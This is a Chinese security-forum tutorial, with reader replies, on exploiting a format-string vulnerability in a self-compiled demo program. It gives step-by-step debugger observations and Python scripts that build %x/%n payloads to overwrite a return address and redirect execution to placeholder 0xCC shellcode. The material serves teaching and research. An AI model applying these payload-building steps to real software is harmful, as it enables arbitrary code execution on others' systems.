首页
社区
课程
招聘
[原创]格式化字符串漏洞执行任意代码分析
发表于: 2016-10-10 10:57 8277

[原创]格式化字符串漏洞执行任意代码分析

2016-10-10 10:57
8277

首先使用vc++6.0编译一个程序FormatStr.exe,源代码:


test-%x-%x-%x-%n 调试中断时 EAX=34333231 
test-%x-%x-%x-%x-%n 调试中断时 EAX=2d78252d
test-%x-%x-%x-%x-%x-%n 调试中断时 EAX=252d7825

设置immunity debugger为默认调试器

首先观察ECX值的变化,当输入test-%x-%x-%n时,ECX=0x13,即字符串“test-12ff04-380e4a-”的长度19,当输入test-%x-%x-%x-%n时,ECX=0x16,即字符串“test-12ff04-380e4a-7f-”的长度22,当输入test-%x-%x-%x-%x-%n时,ECX=0x1F,即字符串“test-12ff04-380e4a-7f-34333231-”的长度31,所以ECX即前边字符串的长度,但是这个长度是根据栈中具体数值来确定的,所以只能通过调试来确定。

观察EAX的值,当输入test-%x-%x-%n时,EAX=0x7f,即栈中的数值0x7f,当输入test-%x-%x-%x-%n时,EAX=0x74726574,即栈中的0x74726574,当输入test-%x-%x-%x-%x-%n时,EAX=0x2d78252d,即栈中的0x2d78252d,当输入test-%x-%x-%x-%x-%x-%n时,EAX=0x252d7825,即栈中的0x252d7825,可以发现这样的规律,随着%x的增多,EAX的值是栈中以四字节为单位往高地址增长的栈中的数据。

通过以上的介绍,可以看到可以将ECX设置为shellcode的首地址,将EAX设置为函数返回地址所在的栈地址,这样当函数返回时,就会执行shellcode中的代码

首先查找shellcode的首地址,在命令行下运行:FormatStr.exe "test-%x-%x-%x-%n",程序异常自动附加到immunity debugger,



直接在栈中搜索就可以了,可以看到shellcode的起始地址是0x0012FF04,


然后查找函数返回地址所在的栈地址,组合键alt+k切换到栈回溯窗口,可以看到最近的函数返回地址所在的栈地址是:0x0012FED0:



经过上边介绍只要使EAX=0x0012FED0,ECX=0x0012FF04就可以使我们的shellcode得到执行的机会。
以参数“testAAAABBBB-%x-%x-%x-%n”为示例
首先使ECX=0x0012FF04,0x0012FF04=1244932,[1244932-(4+4+4+4)]/3=414972,
将参数修改为“testAAAABBBB-%414972x-%414972x-%414972x-%n”,输出ECX如下:



,正好得到ECX=0x0012FF04

下边使EAX=0x0012FED0,但是由于EAX中含有0x00,作为字符串的结束字符后边的字符会被截断掉,解决的办法就是增加%x的个数,使EAX往栈的高地址方向移动,直到移动到字符串的末尾,这样0x00就不会影响我们后续的操作了
当参数是“testAAAABBBB-%414972x-%414972x-%414972x-%n”时,EAX=0x74735674,即test的十六进制值,我们依次增加0x的个数,为了便于操作,我们可以用python书写一个简单脚本:
from subprocess import call
a="testAAAABBBBCC-"
b="%x"*3
c="%414972x-%414972x-%414972x-%nABCDE"
buf=a+b+c
call(["FormatStr.exe",buf])
a

可以看到EAX已经移位到字符串“CC-%”,我们继续增加%x的个数,直到移位到%n之后:
python脚本:
from subprocess import call
a="testAAAABBBBCC-"
b="%x"*23
c="%414972x-%414972x-%414972x-%nABCDE"
buf=a+b+c
call(["FormatStr.exe",buf])
此时EAX=0x00454443 即字符串“CDE”的十六进制




由于此时增加很多%x打乱了ECX的值,我们再调整一下:
from subprocess import call
a="testAAAABBBBCC-"
b="%x"*23
c="%414914x-%414913x-%414913x-%nABCDE"
buf=a+b+c
call(["FormatStr.exe",buf])
此时EAX=0x00454443,ECX=0x0012FF04:



此时只要将CDE替换为返回地址的所在的栈地址,将test-AAAABBBB....等替换为shellcode,为了演示,直接替换为0xCC(中断)吧:
from subprocess import call
a="\xCC\xCC\xCC\xCCAAAABBBBCC-"
b="%x"*23
c="%414914x-%414913x-%414913x-%nAB\xD0\xFE\x12"            
buf=a+b+c
call(["FormatStr.exe",buf])



[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2019-12-31 16:09 被kanxue编辑 ,原因:
上传的附件:
收藏
免费 3
支持
分享
最新回复 (7)
雪    币: 193
活跃值: (1215)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
好东西,很详细,学习一下原理
2016-10-10 14:50
0
雪    币: 47147
活跃值: (20450)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
3
http://bbs.pediy.com/showpost.php?postid=292659

帖图方法不对,按这个帖来。
2016-10-10 16:25
0
雪    币: 206
活跃值: (85)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
有点收获,谢谢。。。
2016-10-11 16:37
0
雪    币: 8
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
还能用哪种调试器?
2016-10-13 00:06
0
雪    币: 193
活跃值: (1215)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
调试器怎么设置为immunity debugger
2016-10-16 21:03
0
雪    币: 193
活跃值: (1215)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
想问下楼主,为什么我用python执行脚本的时候,这个地址 \x50\xFB\x12,会解析成00003F50,请问怎么解决
2016-10-17 11:15
0
游客
登录 | 注册 方可回帖
返回
//